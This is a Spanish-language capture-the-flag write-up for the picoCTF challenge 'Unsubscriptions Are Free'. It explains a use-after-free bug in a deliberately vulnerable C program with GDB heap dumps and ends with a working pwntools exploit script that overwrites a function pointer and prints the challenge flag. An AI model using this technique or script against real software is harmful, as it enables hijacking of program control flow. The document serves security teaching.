Unsubscriptions Are Free
11 minutos de lectura
Se nos proporciona un binario de 32 bits llamado vuln
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Tenemos también el código fuente en C:
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
char choice;
cmd *user;
void hahaexploitgobrrr() {
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt", "r");
fgets(buf, FLAG_BUFFER, f);
fprintf(stdout, "%s\n", buf);
fflush(stdout);
}
char* getsline() {
getchar();
char *line = malloc(100), *linep = line;
size_t lenmax = 100, len = lenmax;
int c;
if (line == NULL)
return NULL;
for (;;) {
c = fgetc(stdin);
if (c == EOF)
break;
if (--len == 0) {
len = lenmax;
char *linen = realloc(linep, lenmax *= 2);
if (linen == NULL) {
free(linep);
return NULL;
}
line = linen + (line - linep);
linep = linen;
}
if ((*line++ = c) == '\n')
break;
}
*line = '\0';
return linep;
}
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
void s() {
printf("OOP! Memory leak...%p\n", hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void p() {
puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}
void m() {
puts("Account created.");
}
void leaveMessage() {
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*) malloc(8);
read(0, msg, 8);
}
void i() {
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if (toupper(response) == 'Y') {
puts("Bye!");
free(user);
} else {
puts("Ok. Get premium membership please!");
}
}
void printMenu() {
puts("Welcome to my stream! ^W^");
puts("==========================");
puts("(S)ubscribe to my channel");
puts("(I)nquire about account deletion");
puts("(M)ake an Twixer account");
puts("(P)ay for premium membership");
puts("(l)eave a message(with or without logging in)");
puts("(e)xit");
}
void processInput() {
scanf(" %c", &choice);
choice = toupper(choice);
switch (choice) {
case 'S':
if (user) {
user->whatToDo = (void*) s;
} else {
puts("Not logged in!");
}
break;
case 'P':
user->whatToDo = (void*) p;
break;
case 'I':
user->whatToDo = (void*) i;
break;
case 'M':
user->whatToDo = (void*) m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
case 'L':
leaveMessage();
break;
case 'E':
exit(0);
default:
puts("Invalid option!");
exit(1);
}
}
int main() {
setbuf(stdout, NULL);
user = (cmd*) malloc(sizeof(user));
while (1) {
printMenu();
processInput();
doProcess(user);
}
return 0;
}
Básicamente, el programa tiene cuatro funcionalidades:
- Fugar la dirección de memoria de la función
hahaexploitgobrrr
(S) - Crear una cuenta (M)
- Borrar una cuenta (I)
- Dejar un mensaje (L)
La clave está en que la variable user
se libera mediante free
, pero el puntero a la variable no cambia. Además, el mensaje (L) se guarda en el heap usando malloc
.
Por tanto, si creamos una cuenta (M), luego la borramos (I) usando free
y después dejamos un mensaje (L) con malloc
, el puntero a user
apuntará al mensaje, debido a que malloc
reutilizará la dirección de la memoria recién liberada.
La estructura de user
es:
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
Tiene un puntero a una función whatToDo
) y un puntero a una cadena de caracteres (username
), por lo que el tamaño de la estructura es de 8 bytes.
Dependiendo de la opción que pongamos, el puntero a la función será s
, i
, m
, p
o leaveMessage
. Luego, se llama a la función doProcess
:
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
Que llama a la función a la que apunta whatToDo
.
Todo este proceso se ejecuta en un bucle infinito:
int main() {
setbuf(stdout, NULL);
user = (cmd*) malloc(sizeof(user));
while (1) {
printMenu();
processInput();
doProcess(user);
}
return 0;
}
Recordemos la estrategia:
- Fugar la dirección de la función
hahaexploitgobrrr
(S) - Crear una cuenta (M)
- Borrar la cuenta (I)
- Dejar un mensaje (L) para sobrescribir
whatToDo
con la dirección dehahaexploitgobrrr
Estas son las funciones involucradas:
void s() {
printf("OOP! Memory leak...%p\n", hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void leaveMessage() {
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*) malloc(8);
read(0, msg, 8);
}
void i() {
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if (toupper(response) == 'Y') {
puts("Bye!");
free(user);
} else {
puts("Ok. Get premium membership please!");
}
}
Como se puede observar, s
solamente imprime la dirección de hahaexploitgobrrr
:
$ ./vuln
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
S
OOP! Memory leak...0x80487d6
Thanks for subsribing! I really recommend becoming a premium member!
LuegoleaveMessage
lee 8 bytes y los sitúa en el heap utilizando malloc
. Y finalmente, i
libera la memoria de la estructura de user
mediante free
(pero el puntero y los datos se mantienen).
El proceso de crear una cuenta está en el correspondiente caso de processInput
:
case 'M':
user->whatToDo = (void*) m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
La función getsline
puede tomar un montón de datos de la entrada de usuario, pero creo que no existe ninguna vulnerabilidad de desbordamiento aquí.
Vamos a probar nuestra idea con GDB (omitiendo la fuga de memoria):
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ break printMenu
Breakpoint 1 at 0x8048b31
gef➤ run
Starting program: ./vuln
Breakpoint 1, 0x8048b31 in printMenu ()
gef➤ continue
Continuing.
Starting program: ./vuln
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
M
===========================
Registration: Welcome to Twixer!
Enter your username:
AAA
Account created.
Breakpoint 1, 0x8048b31 in printMenu ()
Vamos a ver cuál es la dirección del espacio del heap:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x0804a000 0x00000000 r-x ./vuln
0x0804a000 0x0804b000 0x00001000 r-- ./vuln
0x0804b000 0x0804c000 0x00002000 rw- ./vuln
0x0804c000 0x0806e000 0x00000000 rw- [heap]
0xf7dcd000 0xf7dea000 0x00000000 r-- /usr/lib32/libc-2.31.so
0xf7dea000 0xf7f42000 0x0001d000 r-x /usr/lib32/libc-2.31.so
0xf7f42000 0xf7fb2000 0x00175000 r-- /usr/lib32/libc-2.31.so
0xf7fb2000 0xf7fb4000 0x001e4000 r-- /usr/lib32/libc-2.31.so
0xf7fb4000 0xf7fb6000 0x001e6000 rw- /usr/lib32/libc-2.31.so
0xf7fb6000 0xf7fb8000 0x00000000 rw-
0xf7fc9000 0xf7fcb000 0x00000000 rw-
0xf7fcb000 0xf7fcf000 0x00000000 r-- [vvar]
0xf7fcf000 0xf7fd1000 0x00000000 r-x [vdso]
0xf7fd1000 0xf7fd2000 0x00000000 r-- /usr/lib32/ld-2.31.so
0xf7fd2000 0xf7ff0000 0x00001000 r-x /usr/lib32/ld-2.31.so
0xf7ff0000 0xf7ffb000 0x0001f000 r-- /usr/lib32/ld-2.31.so
0xf7ffc000 0xf7ffd000 0x0002a000 r-- /usr/lib32/ld-2.31.so
0xf7ffd000 0xf7ffe000 0x0002b000 rw- /usr/lib32/ld-2.31.so
0xfffdd000 0xffffe000 0x00000000 rw- [stack]
Ahora podemos examinar algunos valores en el heap:
gef➤ x/120x 0x0804c000
0x804c000: 0x00000000 0x00000000 0x00000000 0x00000191
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c140: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c150: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c160: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c170: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c190: 0x00000000 0x00000000 0x00000000 0x00000011
0x804c1a0: 0x080489f6 0x0804c5c0 0x00000000 0x00000411
0x804c1b0: 0x0a414141 0x00000000 0x00000000 0x00000000
0x804c1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c1d0: 0x00000000 0x00000000 0x00000000 0x00000000
Nótese que 0x080489f6
es la dirección de m
:
gef➤ x 0x080489f6
0x80489f6 <m>: 0x53e58955
Y 0x0804c5c0
es la dirección de la cadena de caracteres AAA
:
gef➤ x/16x 0x0804c5c0 - 0x10
0x804c5b0: 0x00000000 0x00000000 0x00000000 0x00000071
0x804c5c0: 0x0a414141 0x00000000 0x00000000 0x00000000
0x804c5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c5e0: 0x00000000 0x00000000 0x00000000 0x00000000
Adicionalmente, podemos encontrar la cadena AAA
justo debajo de la dirección de m
, pero no es relevante.
Ahora podemos borrar la cuenta utilizando free
:
gef➤ continue
Continuing.
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
I
You're leaving already(Y/N)?
Y
Bye!
Breakpoint 1, 0x8048b31 in printMenu ()
Volvamos a ver el heap:
gef➤ x/120x 0x0804c000
0x804c000: 0x00000000 0x00000000 0x00000000 0x00000191
0x804c010: 0x00000001 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x0804c1a0 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c140: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c150: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c160: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c170: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c190: 0x00000000 0x00000000 0x00000000 0x00000011
0x804c1a0: 0x00000000 0x0804c010 0x00000000 0x00000411
0x804c1b0: 0x0a410a59 0x00000000 0x00000000 0x00000000
0x804c1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c1d0: 0x00000000 0x00000000 0x00000000 0x00000000
Si comparamos el estado actual del heap con el anterior, obtendremos las siguientes diferencias:
- Hay un valor
0x00000001
en la dirección0x804c010
- Hay un valor
0x0804c1a0
en la dirección0x804c090
. Este valor es el puntero a la variableuser
(también se almacena en el heap) - Hay un valor
0x00000000
en la dirección0x804c1a0
, que es el valor del punterowhatToDo
(ahora está vacío) - Hay un valor
0x0804c010
en la dirección0x804c1a0
, que es el puntero a la cadenausername
. Pero no hay ninguna cadena en esta dirección, está apuntando a la dirección del primer punto:
gef➤ x/16x 0x0804c010 - 0x10
0x804c000: 0x00000000 0x00000000 0x00000000 0x00000191
0x804c010: 0x00000001 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
Vamos a continuar dejando un mensaje:
gef➤ continue
Continuing.
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
L
I only read premium member messages but you can
try anyways:
AAAABBB
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Perfecto, hemos cambiado el flujo de ejecución del programa y tenemos control sobre la siguiente dirección a llamar (en este caso AAAA
o 0x41414141
).
Examinamos el heap una vez más:
gef➤ x/120x 0x0804c000
0x804c000: 0x00000000 0x00000000 0x00000000 0x00000191
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c140: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c150: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c160: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c170: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c190: 0x00000000 0x00000000 0x00000000 0x00000011
0x804c1a0: 0x41414141 0x0a424242 0x00000000 0x00000411
0x804c1b0: 0x0a410a6c 0x00000000 0x00000000 0x00000000
0x804c1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c1d0: 0x00000000 0x00000000 0x00000000 0x00000000
¿Ves lo que ha pasado? La función leaveMessage
ha llamado a malloc
para reservar 8 bytes de memoria para nuestro mensaje (AAAABBB
más el carácter de salto de línea). Sin embargo, previamente hemos liberado la memoria de la estructura user
con free
. El comportamiento de free
no es limpiar el espacio de memoria (eso se haría con memset
), sino markar la dirección de memoria como libre, de manera que pueda ser reutilizada más adelante.
La vulnerabilidad aquí se llama Use After Free, cuyo nombre es auto-explicativo. La dirección de memoria se marca como libre, y la siguiente llamada a malloc
cogerá esta misma dirección recién liberada. Por tanto, al escribir el mensaje estamos escribiendo donde estaba la estructura de user
original. Por tanto, podemos escribir la dirección que queramos en whatToDo
(por ejemplo, la dirección de hahaexploitgobrrr
).
Este es un script en Python con pwntools
para obtener la flag:
#!/usr/bin/env python3
from pwn import context, log, p32, remote, sys
context.binary = 'vuln'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def main():
p = get_process()
p.sendlineafter(b'(e)xit\n', b'S')
p.recvuntil(b'OOP! Memory leak...')
leak = int(p.recvline().decode().strip(), 16)
p.sendlineafter(b'(e)xit\n', b'M')
p.sendlineafter(b'Enter your username: \n', b'AAA')
p.sendlineafter(b'(e)xit\n', b'I')
p.sendlineafter(b'(Y/N)?\n', b'Y')
p.sendlineafter(b'(e)xit\n', b'L')
p.sendlineafter(b'try anyways:\n', p32(leak))
flag = p.recvline().decode().strip()
p.close()
log.success(f'Flag: {flag}')
if __name__ == '__main__':
main()
$ python3 solve.py mercury.picoctf.net 4593
[*] './vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to mercury.picoctf.net on port 4593: Done
[*] Closed connection to mercury.picoctf.net port 4593
[+] Flag: picoCTF{d0ubl3_j30p4rdy_ba307b82}